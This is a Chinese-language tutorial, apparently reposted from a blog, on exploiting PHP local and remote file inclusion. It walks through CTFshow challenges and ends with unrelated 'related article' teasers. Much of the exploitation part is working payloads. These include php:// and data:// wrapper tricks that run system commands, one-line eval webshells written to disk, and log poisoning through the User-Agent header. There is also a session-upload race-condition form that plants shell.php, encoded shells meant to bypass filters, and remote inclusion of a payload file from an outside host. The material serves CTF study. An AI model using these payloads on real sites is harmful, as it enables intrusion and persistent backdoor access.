WEB攻防-文件包含LFIRFI伪协议编码算法无文件利用黑白盒

知识点:
1、文件包含-原理&分类&危害-LFI&RFI
2、文件包含-利用-黑白盒&无文件&伪协议
在这里插入图片描述

一、演示案例-文件包含-原理&分类&利用

1、原理

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

 <?php include "xx.xx";?> 这种是包含指定页面,不存在文件包含漏洞<?php include $_GET[x];?> 这种通过动态变量的传参才存在文件包含漏洞

在这里插入图片描述
在这里插入图片描述

2、分类

本地包含-Local File Include-LFI

(包含的文件都是本地服务器上的,可以包含图片马,敏感文件,日志等等)x.php?x=xx.xx

在这里插入图片描述

远程包含-Remote File Include-RFI(较少)

x.php?x=http://xxxxx/x.xx (要保证php.ini中allow_url_fopen和allow_url_include要为On)

在这里插入图片描述

3、白盒审计

1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
PHP:include、require、include_once、require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等

4、黑盒分析

黑盒发现:主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、page、archive、eng、语言文件等相关字眼

5、利用

无文件就是指目标没有上传点,只能包含服务器已经存在的文件。

思路:
1、配合文件上传(目标有上传点,自己上传一个恶意代码的文件)
2、无文件包含日志(前提:需要知道当前网站存储日志的绝对路径)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
3、无文件包含SESSION(前提:需要知道当前网站存储SESSION文件的绝对路径)
在这里插入图片描述
4、无文件支持伪协议利用
在这里插入图片描述

文件读取

方式一:
file:///etc/passwd

在这里插入图片描述

方式二:
php://filter/read=convert.base64-encode/resource=phpinfo.php

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

文件写入

方式一:
php://filter/write=convert.base64-encode/resource=phpinfo.php  //这个需要代码里接收两个参数才行

在这里插入图片描述

注:131要改为base64编码才行,图里是错误的。
在这里插入图片描述
在这里插入图片描述

方式二:
php://input 
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

代码执行

方式一:
php://input 
POST:<?php phpinfo();?>

在这里插入图片描述

方式二:
data://text/plain,<?php phpinfo();?>

在这里插入图片描述

方式三:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

在这里插入图片描述
在这里插入图片描述

远程利用思路

直接搭建一个可访问的远程URL包含文件(不能是脚本文件,其他后缀随意,可包含一句话getshell)
在这里插入图片描述

二、演示案例-文件包含-利用-黑白盒&无文件&伪协议

黑盒利用-VULWEB

http://testphp.vulnweb.com/showimage.php?file=index.php
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

白盒利用-CTFSHOW-伪协议玩法

https://ctf.show/challenges //专门的CTF网站,对新手比较友好

78-php&http协议

在这里插入图片描述

方式一:
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

在这里插入图片描述

方式二:
payload: ?file=php://input 
post:<?php system('tac flag.php');?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
远程1.txt: <?php system('tac flag.php');?> //也可以写一句话木马连上去

在这里插入图片描述
在这里插入图片描述

79-data&http协议

在这里插入图片描述

方式一:
payload: ?file=data://text/plain,<?=system('tac flag.*');?>
方式二:
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

在这里插入图片描述
在这里插入图片描述

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
1.txt:<?php system('tac flag.php');?>

80 81-日志包含

在这里插入图片描述

1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
故利用日志记录UA信息,UA带入后门代码或者system代码
包含:/var/log/nginx/access.log

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

82-86-SESSION包含

在这里插入图片描述
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

session会自动把内容清空,所以要在清空之前利用条件竞争方式触发session里的代码,自定义session名字,条件竞争访问session文件,触发创建新文件。以下表单就是为了创建session文件
<!DOCTYPE html>
<html>
<body>
<form action="http://xxxx.ctf.show/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" /><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>

在这里插入图片描述
在这里插入图片描述

随便上传一张图片抓取这个数据包,在请求头中添加session名字并进行无限发包
在这里插入图片描述
在这里插入图片描述
同样的,抓取这个路径请求包进行无限发包,从而触发session文件里的php代码
在这里插入图片描述
在这里插入图片描述
然后就会在网站目录下生成一个shell.php文件

87-php://filter/write&加密编码

在这里插入图片描述

1、利用base64:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php 
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、利用凯撒13(类似base64的加密方式):
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64
在这里插入图片描述

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

117-php://filter/write&新的算法

在这里插入图片描述

代理中并没有过滤php
生成脚本
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

在这里插入图片描述

与凯撒13加密差不多,只不过换了另外一种方式
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/87937.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/87937.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LabVIEW的GPIB仪器校准

基于LabVIEW开发平台与 GPIB 总线技术&#xff0c;采用是德科技、泰克等硬件设备&#xff0c;构建示波器与频谱分析仪自动校准系统。通过图形化编程实现校准流程自动化&#xff0c;涵盖设备连接、参数配置、数据采集、误差分析及报告生成&#xff0c;显著提升校准效率与精度&am…

Zotero中进行文献翻译【Windows11】

zotero官网&#xff1a;https://www.zotero.org/ 1 在Zotero软件中安装插件 进入Zotero百科全书&#xff0c;依次点击&#xff1a;插件→翻译插件→插件介绍→Zotero 中文社区插件商店 进去后搜索pdf2zh&#xff0c;然后下载后放入空白文件夹zotero-pdf2zh 打开Zotero软件后…

用U盘启动制作centos系统最常见报错,系统卡住无法继续问题(手把手)

一、按照操作系统centos7报错如下&#xff08;U盘&#xff09; 按照系统报错如下&#xff1a; ERROR: could not insert ‘floppy’; ERROR: could not insert ‘edd’ : No这种报错很常见&#xff0c;基本上就是u盘启动路径找不到导致&#xff0c;遇到次数比较多所以也比较好解…

C#中的BindingList有什么作用?

在C#中&#xff0c;BindingList<T> 是一个非常重要的集合类&#xff0c;位于 System.ComponentModel 命名空间&#xff0c;主要用于实现数据绑定&#xff08;Data Binding&#xff09;场景。1. 核心作用BindingList<T> 是 List<T> 的增强版&#xff0c;主要提…

Python爬取知乎评论:多线程与异步爬虫的性能优化

1. 知乎评论爬取的技术挑战 知乎的评论数据通常采用动态加载&#xff08;Ajax&#xff09;&#xff0c;这意味着直接使用**<font style"color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">requests</font>****<font style"color:rg…

软件系统测试的基本流程

软件系统测试流程是确保软件质量的规范化过程&#xff0c;涵盖从测试准备到最终上线评估的全周期&#xff0c;通常分为以下6个核心阶段&#xff0c;各阶段紧密衔接、形成闭环&#xff1a; 一、测试启动与规划阶段 核心目标&#xff1a;明确“测什么、谁来测、怎么测”&#xff…

使用Linux操作MySQL数据库分批导出数据为.SQL文件

当数据库某张数据量非常大的表进行其他操作&#xff0c;需要先进行导出时&#xff1b; 先用linux进入操作环境&#xff0c; 1.添加一个export_mysql_batches.sh脚本文件&#xff0c; #!/bin/bash# 数据库连接配置 DB_HOST"36.33.0.138:3306" DB_USER"devuser&qu…

LeetCode 算法题解:链表与二叉树相关问题 打打卡

LeetCode 算法题解&#xff1a;链表与二叉树相关问题 在算法学习和实践中&#xff0c;LeetCode 是一个非常好的平台&#xff0c;它包含了各种各样的算法题目&#xff0c;有助于我们提升编程能力和解决问题的能力。本文将详细讲解在 leetcoding.cpp 文件中实现的一些链表和二叉树…

故宫票价监控接口分析(一)

故宫票价监控接口分析(一) 对爬虫、逆向感兴趣的同学可以查看文章,一对一小班教学(系统理论和实战教程)、提供接单兼职渠道:https://blog.csdn.net/weixin_35770067/article/details/142514698 本文内容仅供学习和参考之用,不得用于商业目的。作者对文中内容的准确性、完整…

AWS OpenSearch Dev Tools使用

# 创建通用索引模版 PUT _template/aws-waf_logs_template {"index_patterns": ["aws-waf-logs-*"],"mappings": {"properties": {"timestamp": {"type": "date"}}} }# 设置单个索引格式 PUT /aws-waf-…

git-安装 Gerrit Hook 自动生成changeid

要在 Git 中安装 Gerrit Hook 以自动生成 Change-ID&#xff0c;可以按照以下步骤操作&#xff1a; 全局钩子配置&#xff08;推荐&#xff09; 创建全局钩子目录并下载 Gerrit 提供的 commit-msg 钩子脚本&#xff0c;确保所有仓库共享该配置&#xff1a; mkdir -p ~/.githook…

Excel 的多线程特性

Excel 本身并不是完全多线程的应用程序&#xff0c;但它在某些操作和功能上支持多线程处理。以下是对 Excel 是否多线程的详细解答&#xff0c;结合你之前提到的 VBA/COM 自动化代码和受保护视图问题&#xff0c;提供清晰且准确的分析。 Excel 的多线程特性计算引擎的多线程支持…

【嵌入式ARM汇编】-操作系统基础(一)

操作系统基础(一) 文章目录 操作系统基础(一)1、操作系统架构概述2、用户模式与内核模式3、进程4、系统调用5、对象和句柄我们想要逆向的程序几乎从来不会在真空中执行。相反,程序通常在正在运行的操作系统(例如 Linux、Windows 或 macOS)的上下文中运行。因此,了解这些…

[创业之路-474]:企业经营层 - 小米与华为多维对比分析(2025年视角),以后不要把这两家公司放在同一个维度上 进行比较了

一、行业定位与市场角色不同华为&#xff1a;用技术手段解决行业的难题&#xff0c;顺便赚钱技术驱动型硬科技企业&#xff1a;以通信设备起家&#xff0c;延伸至智能手机、芯片、操作系统&#xff08;鸿蒙&#xff09;、云计算、智能汽车等领域&#xff0c;构建“云-管-端”全…

C#基础篇(06)抽象类与接口详解区别

抽象类是 C# 面向对象编程中的一个重要概念&#xff0c;它介于普通类和接口之间&#xff0c;提供了一种定义部分实现并要求派生类完成其余部分的机制。一、C# 中的抽象类抽象类是 C# 面向对象编程中的一个重要概念&#xff0c;它介于普通类和接口之间&#xff0c;提供了一种定义…

使用Python将PDF转换成word、PPT

在现代企业环境中,文档格式的转换是一项普遍且关键的需求。PDF(Portable Document Format)作为一种最终的、通常不可编辑的“打印”状态格式,被广泛用于分发和归档。然而,内容的创建、协作和修改主要在Microsoft Office套件中进行,特别是Word(DOCX)和PowerPoint(PPTX)…

香港风水(原生)林地的逻辑分类器

风水林是香港的原生林地&#xff0c;由于地处偏远、地形崎岖以及当地居民的信仰&#xff0c;这些林地得以保存完好。在香港&#xff0c;我们可以追溯到1924年的航拍图像记录&#xff0c;这些黑白航拍图像已经帮助我们划分和区分了林地、草地和灌木丛。然后&#xff0c;通过二战…

[Swarm] Result对象 | 智能体切换 | Response对象 | muduo review

第5章&#xff1a;结果对象 欢迎回到swarm&#xff01; 在上一章第4章&#xff1a;功能中&#xff0c;我们学习了如何通过定义Python功能赋予智能体技能。我们见证了当AI决策调用时&#xff0c;Swarm框架如何执行这些功能。 当前&#xff0c;我们的功能仅返回简单字符串如&q…

[2-02-02].第04节:环境搭建 - Linux搭建ES集群环境

ElasticSearch学习大纲 一、ES集群规划&#xff1a; 关系型数据库&#xff08;比如Mysql&#xff09;非关系型数据库&#xff08;Elasticsearch&#xff09;非关系型数据库&#xff08;Elasticsearch&#xff09;centos7hadoop103192.168.148.3centos7hadoop104192.168.148.4c…

部署并运行Spike-Driven-Transformer或QKFormer

部署并运行Spike-Driven-Transformer或QKFormer 我将指导你如何部署和运行Spike-Driven-Transformer或QKFormer代码,并在CIFAR-10、CIFAR-100和ImageNet-1K数据集上进行训练和测试。 1. 环境准备 首先需要设置Python环境并安装必要的依赖项: # 创建conda环境(推荐) con…